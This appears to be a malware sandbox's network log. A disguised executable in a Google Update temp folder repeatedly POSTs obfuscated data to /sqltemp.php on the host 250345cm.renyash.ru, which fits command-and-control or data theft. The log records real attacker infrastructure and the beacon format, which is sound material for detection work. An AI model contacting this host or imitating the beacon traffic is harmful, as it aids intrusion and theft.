Jan 1, 2025 16:03:47.321032047 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	62769	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:47.399132967 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:47.751359940 CET	1964	OUT	Data Raw: 53 50 5f 53 51 5d 51 56 58 56 52 59 56 50 59 50 5b 5f 54 58 55 5e 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_SQ]QVXVRYVPYP[_TXU^PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$4238;9-#+<_+) "\+.1,#,&Y.,Y-
Jan 1, 2025 16:03:47.863580942 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:48.120013952 CET	958	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4bY1QbbyuuKnSuY9lwcPsCKjD5CbO1yAke1nL%2BVKYt0FXdssl1Vxd1N7MxhPKED3u237dh6ktChbY%2FIztBVbrVo1zmABVA%2Bd7yPlb4tZqIjL2pJwjodMzc%2FhRyLJYBAw%2FwBY2sgm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365ebdecc43ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3071&min_rtt=1763&rtt_var=3278&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=119359&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 50 2a 13 21 09 26 0b 2b 02 3f 3d 06 0c 26 2d 2e 11 28 01 36 14 30 00 2b 10 3e 00 33 1e 20 2c 29 59 32 16 27 01 37 03 05 12 33 1e 2b 59 05 1c 20 43 36 3c 23 03 2a 13 37 5d 26 2f 36 00 30 10 2f 01 2a 28 28 11 37 02 33 5b 33 03 20 5b 2a 29 23 0b 24 05 3f 5f 2e 06 3d 53 27 2a 2c 54 00 11 26 13 33 57 34 59 34 19 02 59 36 31 18 00 26 24 32 1b 32 3c 2b 19 23 5f 2e 59 32 21 33 13 21 33 0c 11 31 05 21 10 23 3e 2c 08 3e 04 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%P!&+?=&-.(60+>3 ,)Y2'73+Y C6<#7]&/60/((73[3 [)#$?_.=S'*,T&3W4Y4Y61&$22<+#_.Y2!3!31!#>,>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	62770	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:47.524353981 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:47.876281023 CET	1124	OUT	Data Raw: 56 52 5f 56 54 51 54 51 58 56 52 59 56 5c 59 55 5b 5a 54 5d 55 5b 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_VTQTQXVRYV\YU[ZT]U[PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-':4Y%Y0- 8V7/?)>4Z4 +%//W-:&Y.,Y-5
Jan 1, 2025 16:03:47.967863083 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:48.236311913 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=txu1DgKB0FrDV4QzKVEHfXsHutcpLlGZzdsD36%2FzXjQ1ekkQa75lH1p3bmPofVKYj1UWcvL0AZpxu11mxk1YWTQKjOcao1as8MpP4phxp8wbZLdli%2BRm09%2BEQNSSrZaoKFxCAjq4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365ec8aa243e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1742&rtt_var=694&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=766404&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	62771	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:48.364568949 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:48.721343994 CET	1124	OUT	Data Raw: 56 53 5f 50 54 5d 51 51 58 56 52 59 56 5b 59 53 5b 58 54 5d 55 55 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VS_PT]QQXVRYV[YS[XT]UUP\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.')Z#?3 ;24$+7T>#2(+>1$::&Y.,Y-)
Jan 1, 2025 16:03:48.828754902 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:48.998639107 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lGMBHYphPvOArE9%2FWyyhUpqaj8IkBkxYhOTX%2B%2FA61yPlO1PbOJt77pTR7Zqlmat6ulMlZd4T3mg4%2BxtKhrqYyT%2BvbGrl001CZs5zIzm9eGD4ZHpcKz9xWvRDDcJnljEnYFQSZY0q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365f1dd9b185d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3268&min_rtt=1494&rtt_var=4108&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=93076&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	62772	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:49.129776001 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:49.485686064 CET	1124	OUT	Data Raw: 53 52 5f 51 54 5a 54 55 58 56 52 59 56 50 59 56 5b 53 54 58 55 5f 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SR_QTZTUXVRYVPYV[STXU_P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^36 ?]3?@;V4>#(*#>+ 1+Z?!A$<'.&Y.,Y-
Jan 1, 2025 16:03:49.582719088 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:49.755647898 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VvsdYdWnJOcb2wmMtpHtgwUsbdeiTKB9teCi1yABnBVd1YFxRNpxSsA2xke3M4FFgM0%2FdivJSJlBr%2FhJK0r2kkwxJu40kNW5JMmOmjTT2PU9zr1DPdp%2B8aORgPyJdm62y0yeE2Qy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365f69d3a425c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4716&min_rtt=1787&rtt_var=6528&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=57888&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	62773	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:49.883611917 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:50.235635042 CET	1124	OUT	Data Raw: 56 51 5a 54 54 5e 54 56 58 56 52 59 56 5b 59 55 5b 5a 54 50 55 5e 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQZTT^TVXVRYV[YU[ZTPU^P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y0\ 0>'C/:W7>8?U=>[4"]862/,&Y.,Y-)
Jan 1, 2025 16:03:50.346214056 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:50.600403070 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x6eXNk2amSPXTFC2z95Kmaisr6KbLHCRxE1rqdm6sQoqa6IRqqzX4tHOO7VqV9b06Ca3XBcDgRLeRW%2Blfr0Q7U%2FlDMKxLHf7ikE7V11zL7mhWtnKgTuFV6Pyp0baQtqeD1EO0FJP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365fb58ff2365-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3391&min_rtt=1898&rtt_var=3699&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=105422&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	62774	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:50.757451057 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:51.112605095 CET	1124	OUT	Data Raw: 56 57 5a 53 51 5c 51 57 58 56 52 59 56 5b 59 50 5b 52 54 58 55 5b 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VWZSQ\QWXVRYV[YP[RTXU[PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$<5\"/"$X?8"!=#+9')?#!?Y+)D%?:&Y.,Y-)
Jan 1, 2025 16:03:51.208331108 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:51.479232073 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yyol%2BwmP%2FIHNY18HW%2B9q7LKLhBIzAry0OUlDKt6bTw1Ri%2Bik5lrk0mN84wNrmUjs2sn%2BslbJsP9rk2qyi7f1EWwH1YlYvrFAMJwtG2HcVmGCcPsHsTVdmDoYCeg0ysbKsF%2FXzL8i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36600c8f0728d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8628&min_rtt=2021&rtt_var=13972&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=26603&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	62775	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:51.617417097 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:51.970428944 CET	1124	OUT	Data Raw: 56 52 5f 5c 54 59 54 5c 58 56 52 59 56 5c 59 5e 5b 5f 54 5d 55 5e 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_\TYT\XVRYV\Y^[_T]U^P\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^3/!Z /%>+E.1U#0?:;*(X!2#(;-%<#R9:&Y.,Y-5
Jan 1, 2025 16:03:52.077397108 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:52.351999998 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Ft6EiBUPc9jtmf%2FLU1RN8p7zUjg%2B18jA%2F7yolSdQvHGxlmD5nVfvAp8%2FTh30hf7auChRLJwhrXDCobaykJpK1vATLRLmiK%2FtsNXEDXE49ZbabCKiPuHtGdtzxiQQ2vbmYpK7sYGf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb366063c6e4367-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3266&min_rtt=1629&rtt_var=3885&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=99151&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	62776	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:52.493614912 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:52.845575094 CET	1124	OUT	Data Raw: 53 57 5f 52 51 58 54 56 58 56 52 59 56 5b 59 56 5b 5d 54 5f 55 55 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_RQXTVXVRYV[YV[]T_UUP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y3<"4Y1'.@8:# (: =>8X!!7]<2W9:&Y.,Y-)
Jan 1, 2025 16:03:52.946441889 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	62777	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:53.133589029 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:53.485661983 CET	1964	OUT	Data Raw: 56 5f 5f 55 54 5a 54 55 58 56 52 59 56 5c 59 5f 5b 59 54 5a 55 5f 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V__UTZTUXVRYV\Y_[YTZU_PUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.X0<9Y","0-;@8\%W#(<).7!!7\?@2?V.:&Y.,Y-5
Jan 1, 2025 16:03:53.578053951 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:53.758378029 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FS036Cg60pdREnJBa4dBL0iY4%2FTzuOw9ITqyiqBBQPa%2F30yCHXmpH2Y6RhK8%2BBSw2w%2B1suA%2FRfZTou5r67DkzXLS6ba%2BI1F8G1qXc8x7KsrgurrT2GPUAOtisPSWby7DhJ1lofrj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3660f982919b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=1951&rtt_var=780&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=748334&cwnd=148&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 26 09 3d 2d 35 0c 24 22 34 10 2a 2d 24 0f 26 00 3d 00 28 5e 31 04 27 2d 33 5b 29 29 27 13 21 3c 2a 07 24 28 3c 5f 34 3e 30 00 24 0e 2b 59 05 1c 23 1c 35 01 2b 01 29 2d 37 14 25 2f 36 00 26 3e 34 5c 3c 16 2c 55 22 2b 2f 5f 30 03 1d 00 2a 04 20 1d 24 05 33 5c 2e 3f 31 55 24 3a 2c 54 00 11 26 56 24 1f 3b 05 34 19 3f 01 36 57 3d 5f 25 0a 2a 53 25 3c 0e 08 23 07 26 15 32 32 3b 5e 35 1d 26 59 27 3b 2d 10 37 3e 2f 50 29 3e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&=-5$"4-$&=(^1'-3[))'!<$(<_4>0$+Y#5+)-7%/6&>4\<,U"+/_0* $3\.?1U$:,T&V$;4?6W=_%*S%<#&22;^5&Y';-7>/P)>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	62778	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:53.257837057 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:53.610511065 CET	1124	OUT	Data Raw: 53 53 5f 52 51 5c 54 50 58 56 52 59 56 5b 59 54 5b 5e 54 5b 55 54 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_RQ\TPXVRYV[YT[^T[UTPTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._05Y"/\%=8;7((#W= 2#("&Y?-:&Y.,Y-)
Jan 1, 2025 16:03:53.698395014 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:53.951035023 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0B4RcVRMraAi9gFJGbL1mNA%2BOpcScrw0fGHah7gHHj%2BEGL1Lr1B0ao7Tl9zPDN9z8cFSK1YKL0%2BvbKD72fqWKCVw2ehfneSzN3kgpPYeI%2BRG%2FQGSzGzj3%2FL%2BvQ3NRBJ821%2FKTSE8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb366105f4c18c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1924&min_rtt=1508&rtt_var=1399&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=301528&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
